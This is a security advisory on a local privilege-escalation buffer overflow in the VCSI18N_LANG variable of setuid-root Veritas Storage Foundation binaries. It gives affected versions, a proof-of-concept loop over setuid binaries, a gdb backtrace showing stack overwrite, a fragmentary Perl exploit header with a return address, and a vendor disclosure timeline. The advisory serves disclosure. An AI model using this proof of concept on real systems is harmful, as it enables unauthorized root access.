"VERITAS Storage Foundation combines the industry-leading VERITAS Volume Manager and VERITAS File System to provide a complete solution for online storage management."
A buffer overflow vulnerability within Veritas's Storage Foundation allow attackers to execute arbitrary code with elevated privileges.
Vulnerable Systems:
* Veritas Storage Foundation version 3.5 for VCS
* Veritas Storage Foundation version 4.0 for VCS
* Veritas Storage Foundation version 3.5P5+ for Solaris
* Veritas Storage Foundation version 4.0MP2+ for Solaris
* Veritas Storage Foundation version 3.5P2+ for AIX
* Veritas Storage Foundation version 4.0MP2+ for AIX
* Veritas Storage Foundation version 3.5Update3+ for HPUX
* Veritas Storage Foundation version 2.2MP2+ for Red-Hat Linux
* Veritas Storage Foundation version 4.0MP2+ for Red-Hat Linux
* Veritas Storage Foundation version 2.2MP2 for SuSE Linux
* Veritas Storage Foundation version 2.2MP2 for ESX
Immune Systems:
* Veritas Storage Foundation version 4.1 for Unix
* Veritas Storage Foundation for Windows (All versions)
A buffer overflow has been identified in the VCSI18N_LANG environment variable which is used by a number of setuid root applications in Storage Foundation.
Proof of Concept:
kfinisterre01:/opt/VRTSvcs/bin$ for each in `find . -perm -4000`
do
echo $each
$each a
done
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1211486080 (LWP 26902)]
0xb7ccea00 in getenv () from /lib/tls/libc.so.6
(gdb) bt
#0 0xb7ccea00 in getenv () from /lib/tls/libc.so.6
#1 0xb7cc2b57 in __gconv_get_cache () from /lib/tls/libc.so.6
#2 0xb7cbc4aa in __gconv_get_alias_db () from /lib/tls/libc.so.6
#3 0xb7ec70d2 in pthread_once () from /lib/tls/libpthread.so.0
#4 0xb7cbb516 in __gconv_get_alias_db () from /lib/tls/libc.so.6
#5 0xb7cba7d9 in iconv_close () from /lib/tls/libc.so.6
#6 0xb7cba3e5 in iconv_open () from /lib/tls/libc.so.6
#7 0x0807e89b in i18n_conv_open (lang=0xbf830860 'A' <repeats 48
times>, "`\b\2||FR-SIRT||SUCKS||03??AAAA??\203\n\b\005", codeset=0x0, cdp=0x80a83d8,
conv_neededp=0x80a83d0) at unix/i18n_convert.c:56
#8 0x0807d85e in i18nOpen (i18nhp=0x41414141, pathp=0x41414141 <Address
0x41414141 out of bounds>,
modulep=0x41414141 <Address 0x41414141 out of bounds>,
langp=0x41414141 <Address 0x41414141 out of bounds>) at
common/i18n.c:647
#9 0x41414141 in ?? ()
#10 0x41414141 in ?? ()
#11 0x41414141 in ?? ()
#12 0x41414141 in ?? ()
#13 0x41414141 in ?? ()
#14 0x41414141 in ?? ()
#15 0x41414141 in ?? ()
#16 0x41414141 in ?? ()
#17 0x41414141 in ?? ()
#18 0x41414141 in ?? ()
#19 0x41414141 in ?? ()
#20 0x41414141 in ?? ()
#21 0x41414141 in ?? ()
Exploit:
#!/usr/bin/perl -w
#
# Veritas Storage Foundation 4.0
#
# http://www.digitalmunition.com
# kf (kf_lists[at]digitalmunition[dot]com) - 08/19/2005
#
# This bug has not been patched as of:
# Q14438H.sf.4.0.00.0.rhel3_i686.tar.gz
#
# Make sure you don't get your sploits from some
# Frenchie at FR-SIRT go to milw0rm instead.
#
$retval = 0xbffffc17;
Disclosure Timeline:
08/19/2005 Initial exploitation
08/25/2005 passed on to Symantec
08/31/2005 Symantec - problem present across a number platforms and versions
09/13/2005 Symantec - list of affected products identified
09/23/2005 Symantec - more brief updates on timeline for the fixes
10/05/2005 Symantec - more timeline updates
10/14/2005 Symantec - timeline update
11/07/2005 Symantec - passed draft advisory to me
11/08/2005 Symantec - post of advisory